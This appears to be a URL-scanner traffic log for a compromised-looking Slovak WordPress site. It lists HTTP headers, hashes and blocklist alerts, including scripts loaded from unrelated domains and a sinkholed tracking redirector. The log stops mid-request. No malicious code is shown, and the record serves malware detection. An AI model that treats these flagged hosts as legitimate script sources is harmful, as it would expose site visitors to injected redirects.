Sha1:   2c9bde514adb82fb2fab0941100a33671cb3965e
Sha256: 4d8066b0ef6e87c785854234007cb239cdedff1fd2e3db3278b845a26c3e85a9

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/assets/jplayer/css/jplayer.blue.monday.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:38 GMT
etag: W/"266a-5b91c908dca07"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   10539
Md5:    e08124245d942050a83bf11ca3204783
Sha1:   35b87c05e8d284939987ffa96d398bfc8400b039
Sha256: 10a5cf74635ba0803bbcd40a3cf73cd7b91e7dd594632851f8a4476c22f5419b

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /css?family=Nunito%3A1%2C300%2C400%2C400italic%2C500%2C600%2C700%2C700italic%2C800%2C900&display=swap&ver=5.6.10 HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         142.250.74.106
HTTP/2 200 OK
content-type: text/css; charset=utf-8
                                        
access-control-allow-origin: *
timing-allow-origin: *
link: <https://fonts.gstatic.com>; rel=preconnect; crossorigin
strict-transport-security: max-age=31536000
expires: Thu, 02 Feb 2023 08:25:15 GMT
date: Thu, 02 Feb 2023 08:25:15 GMT
cache-control: private, max-age=86400
cross-origin-opener-policy: same-origin-allow-popups
cross-origin-resource-policy: cross-origin
content-encoding: gzip
server: ESF
x-xss-protection: 0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  data
Size:   6317
Md5:    cf108dd7efcae954f2327cd3988e7eab
Sha1:   1fb07c1b049a3bb3f3e1bb1bd79f76abbf5c35f5
Sha256: 4fe1f1d55e1bfcd0d37d2c8660810bc5629388fddf86bf7ac2be602d9b5b4b99
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fbb20c182-a39b-4222-8a27-155f67b554ab.webp HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 3541
x-amzn-requestid: f65e4be6-20ff-4f14-a722-d6c2c4631a5f
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: frc5YHQqoAMFeBA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63dadb6f-5f9183ed1c2cb640249c2b09;Sampled=0
x-amzn-remapped-date: Wed, 01 Feb 2023 21:36:47 GMT
x-amz-cf-pop: HIO50-C1, SEA19-C2
x-cache: Hit from cloudfront
x-amz-cf-id: dhCNUaZl9ATxaIgoLz8bF1ZxjW31vJ6rx-BLhIKVjmoG4tPFH7WZZQ==
via: 1.1 26ca01ec7377e425b59b6a08cb1ec342.cloudfront.net (CloudFront), 1.1 be082a2326b7d49643607b097f1e7180.cloudfront.net (CloudFront), 1.1 google
date: Wed, 01 Feb 2023 22:25:11 GMT
age: 36004
etag: "461e33619154423dbbf49407a80b70ade9078593"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   3541
Md5:    4c0980cc80018f2218e1a5a7336a4bcc
Sha1:   461e33619154423dbbf49407a80b70ade9078593
Sha256: 4375676d6ce36b3ec3923eefe2007bb96d96135dae10103a886c24fc9063fce9
                                        
                                            GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Mon, 12 Sep 2022 14:26:04 GMT
etag: W/"4710-5e87bacf8e132"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (11834)
Size:   51013
Md5:    d9b0e695bfbebb371000f9fd098aec27
Sha1:   3e80896c112f8b8f9edd13f477709c8166b3f382
Sha256: 6faad818f710b3bc9b93106b784e07c50d28d9f7bba9d6ce7068ec273340bb13
                                        
                                            GET /wp-content/themes/betheme/css/responsive.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:55 GMT
etag: W/"e165-5b91c91906781"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (612)
Size:   12424
Md5:    c794010fe5829be9ff2b5bcf966088cc
Sha1:   6ad260bb040b670de0049e3d959edc48b87da3bb
Sha256: 586c066ffbd0292348feb3a9c0a2c7d4d48dec12a25a736623e3551a3abc928c

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         216.58.211.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 02 Feb 2023 08:25:15 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         216.58.211.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 02 Feb 2023 08:25:15 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /wp-content/themes/betheme/fonts/mfn-icons.woff?31690507 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/wp-content/themes/betheme/css/base.css?ver=21.9.7
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: font/woff
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
content-length: 81448
last-modified: Sun, 17 Jan 2021 18:14:17 GMT
etag: "13e28-5b91c92d3e6f3"
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format, TrueType, length 81448, version 1.0\012- data
Size:   81448
Md5:    743706216bfe3fc0728d0bd15313ac92
Sha1:   d923ae95df3ea7676e8dc34f4de04abf2eefaaab
Sha256: 559a910060423ed485ddc062a9ab5318859bbfde26be3f73d9b83ac0b9dae677
                                        
                                            GET /s/nunito/v25/XRXV3I6Li01BKofINeaB.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://www.poistenie-deti.sk
Connection: keep-alive
Referer: https://fonts.googleapis.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         216.58.207.227
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 35904
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Sun, 29 Jan 2023 07:32:21 GMT
expires: Mon, 29 Jan 2024 07:32:21 GMT
cache-control: public, max-age=31536000
age: 348774
last-modified: Mon, 18 Jul 2022 19:34:47 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 35904, version 1.0\012- data
Size:   35904
Md5:    c26b97e7f5bb7a34d190703522d75e16
Sha1:   69d9e5aea0544dbaf9b78c1b65139c03eceece8f
Sha256: 96217f1d27fb909f92b4a6b35a0d3d6775f2f0b4d136d27aee88547d3ed87357
                                        
                                            GET /s/nunito/v25/XRXX3I6Li01BKofIMNaDRs4.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://www.poistenie-deti.sk
Connection: keep-alive
Referer: https://fonts.googleapis.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         216.58.207.227
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 37852
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Fri, 27 Jan 2023 10:06:13 GMT
expires: Sat, 27 Jan 2024 10:06:13 GMT
cache-control: public, max-age=31536000
last-modified: Mon, 18 Jul 2022 19:37:26 GMT
age: 512342
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 37852, version 1.0\012- data
Size:   37852
Md5:    3e234fa0724b4b5b6c5f0bb405055d7d
Sha1:   508857a361080c23b3a3ea6c0c66c36525b7422d
Sha256: fe7839e0dc27d5a668c79b399849d56bc542d9c5dbf2ce2b52c476c6a35a7803
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         216.58.211.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 02 Feb 2023 08:25:15 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /noise.js HTTP/1.1 
Host: walk.classicpartnerships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         194.135.30.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
server: nginx
date: Thu, 02 Feb 2023 08:25:15 GMT
content-length: 890
vary: Accept-Encoding
content-encoding: gzip
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1976), with no line terminators
Size:   890
Md5:    d8ebc6d5a857aef0b27c2b3856ff16c8
Sha1:   30e9e1cac64fd31cc1348bcd15b78fdebc2adde2
Sha256: 53e18f45673566f0c9bad88e9dca44681321c8db01bedd43ae46bf560c65b67f

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.33.119.27
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "7AA7A23AF6E434B3D2EBFCC0B642A9BC27832CA6714936E8AB475F3A48EAAF63"
Last-Modified: Thu, 02 Feb 2023 03:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=8747
Expires: Thu, 02 Feb 2023 10:51:02 GMT
Date: Thu, 02 Feb 2023 08:25:15 GMT
Connection: keep-alive

                                        
                                            GET /ycYHHc?&se_referrer=&default_keyword=Page%20not%20found%20-%20poistenie%20det%C3%AD%20a%20invest%C3%ADcie&&frm63bf051a23db9=script63bf051a23dbc&_cid=2862a83b-999f-ad10-ac7b-a25cb6570cf7 HTTP/1.1 
Host: track.violetlovelines.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         159.69.234.10
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Thu, 02 Feb 2023 08:25:16 GMT
Content-Length: 8
Connection: keep-alive
Cache-Control: no-cache, no-store, must-revalidate
Expires: 0
Pragma: no-cache
Set-Cookie: _subid=s8hnpa47b88s;Expires=Sunday, 05-Mar-2023 08:25:16 GMT;Max-Age=2678400;Path=/ 674be=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMxXCI6MTY3NTMyNjMxNSxcIjQyXCI6MTY3NTMyNjMxNSxcIjM5XCI6MTY3NTMyNjMxNX0sXCJjYW1wYWlnbnNcIjp7XCI4XCI6MTY3NTMyNjMxNSxcIjdcIjoxNjc1MzI2MzE1LFwiMTJcIjoxNjc1MzI2MzE1fSxcInRpbWVcIjoxNjc1MzI2MzE1fSJ9.u1RKv0pe7G0ouXUEaSf2VyNmNLnCdpOqxz424uriAbE;Expires=Friday, 06-Mar-2076 16:50:32 GMT;Max-Age=1675412716;Path=/
Vary: Accept-Encoding
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   8
Md5:    91fa0ad955bf0c9dd5d8527be99d70f7
Sha1:   140e810a6171fa141392e150797967e941598d89
Sha256: 5a7616b41c1378d0b2c5f48dcac069640817f6c92f324b33867ea8cb3ee81200

Alerts:
  Blocklists:
    - mnemonic_dns: Sinkholed
                                        
                                            GET /flag.js?v=7.1.3 HTTP/1.1 
Host: collect.greengoplatform.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         194.135.30.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
server: nginx
date: Thu, 02 Feb 2023 08:25:17 GMT
content-length: 890
vary: Accept-Encoding
content-encoding: gzip
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1976), with no line terminators
Size:   890
Md5:    d8ebc6d5a857aef0b27c2b3856ff16c8
Sha1:   30e9e1cac64fd31cc1348bcd15b78fdebc2adde2
Sha256: 53e18f45673566f0c9bad88e9dca44681321c8db01bedd43ae46bf560c65b67f
                                        
                                            GET /strong.js?v=3.00 HTTP/1.1 
Host: simple.cofounderspecials.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         194.135.30.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
server: nginx
date: Thu, 02 Feb 2023 08:25:17 GMT
content-length: 890
vary: Accept-Encoding
content-encoding: gzip
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1976), with no line terminators
Size:   890
Md5:    d8ebc6d5a857aef0b27c2b3856ff16c8
Sha1:   30e9e1cac64fd31cc1348bcd15b78fdebc2adde2
Sha256: 53e18f45673566f0c9bad88e9dca44681321c8db01bedd43ae46bf560c65b67f
                                        
                                            GET /ycYHHc?&se_referrer=&default_keyword=Page%20not%20found%20-%20poistenie%20det%C3%AD%20a%20invest%C3%ADcie&&frm63bf051a23db9=script63bf051a23dbc&_cid=2862a83b-999f-ad10-ac7b-a25cb6570cf7 HTTP/1.1 
Host: track.violetlovelines.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         159.69.234.10
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Thu, 02 Feb 2023 08:25:18 GMT
Content-Length: 8
Connection: keep-alive
Cache-Control: no-cache, no-store, must-revalidate
Expires: 0
Pragma: no-cache
Set-Cookie: _subid=s8hnpa47b8bc;Expires=Sunday, 05-Mar-2023 08:25:18 GMT;Max-Age=2678400;Path=/ 674be=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMxXCI6MTY3NTMyNjMxNyxcIjQyXCI6MTY3NTMyNjMxNyxcIjM5XCI6MTY3NTMyNjMxN30sXCJjYW1wYWlnbnNcIjp7XCI4XCI6MTY3NTMyNjMxNyxcIjdcIjoxNjc1MzI2MzE3LFwiMTJcIjoxNjc1MzI2MzE3fSxcInRpbWVcIjoxNjc1MzI2MzE3fSJ9.3L0zHtPzu8DXAG8N78SzqrMWk4hsKOg_-ClfcsPOGVs;Expires=Friday, 06-Mar-2076 16:50:36 GMT;Max-Age=1675412718;Path=/
Vary: Accept-Encoding
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   8
Md5:    91fa0ad955bf0c9dd5d8527be99d70f7
Sha1:   140e810a6171fa141392e150797967e941598d89
Sha256: 5a7616b41c1378d0b2c5f48dcac069640817f6c92f324b33867ea8cb3ee81200

Alerts:
  Blocklists:
    - mnemonic_dns: Sinkholed
                                        
                                            GET /ycYHHc?&se_referrer=&default_keyword=Page%20not%20found%20-%20poistenie%20det%C3%AD%20a%20invest%C3%ADcie&&frm63bf051a23db9=script63bf051a23dbc&_cid=2862a83b-999f-ad10-ac7b-a25cb6570cf7 HTTP/1.1 
Host: track.violetlovelines.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         159.69.234.10
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Thu, 02 Feb 2023 08:25:18 GMT
Content-Length: 8
Connection: keep-alive
Cache-Control: no-cache, no-store, must-revalidate
Expires: 0
Pragma: no-cache
Set-Cookie: _subid=s8hnpa47b8bh;Expires=Sunday, 05-Mar-2023 08:25:18 GMT;Max-Age=2678400;Path=/ 674be=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMxXCI6MTY3NTMyNjMxOCxcIjQyXCI6MTY3NTMyNjMxOCxcIjM5XCI6MTY3NTMyNjMxOH0sXCJjYW1wYWlnbnNcIjp7XCI4XCI6MTY3NTMyNjMxOCxcIjdcIjoxNjc1MzI2MzE4LFwiMTJcIjoxNjc1MzI2MzE4fSxcInRpbWVcIjoxNjc1MzI2MzE4fSJ9.8cAEDX2J3Js3yx48Y8tNQqzUo6TzyqVbGQbxZosRyBk;Expires=Friday, 06-Mar-2076 16:50:36 GMT;Max-Age=1675412718;Path=/
Vary: Accept-Encoding
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   8
Md5:    91fa0ad955bf0c9dd5d8527be99d70f7
Sha1:   140e810a6171fa141392e150797967e941598d89
Sha256: 5a7616b41c1378d0b2c5f48dcac069640817f6c92f324b33867ea8cb3ee81200

Alerts:
  Blocklists:
    - mnemonic_dns: Sinkholed
                                        
                                            GET /wp-content/themes/betheme/assets/ui/jquery.ui.all.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:40 GMT
etag: W/"48eb-5b91c90a643e0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/jquery/jquery.min.js?ver=3.5.1 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Fri, 02 Sep 2022 09:50:35 GMT
etag: W/"18116-5e7aea95810c0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/images/favicon.ico HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: image/x-icon
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:16 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:47:22 GMT
etag: W/"1536-5b91d092648ac"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET / HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

search
                                         37.9.175.132
HTTP/2 404 Not Found
content-type: text/html; charset=UTF-8
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
link: <https://www.poistenie-deti.sk/wp-json/>; rel="https://api.w.org/"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.3.3 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 21:54:44 GMT
etag: W/"eb81-5b91fa7365c0d"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.3.3 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
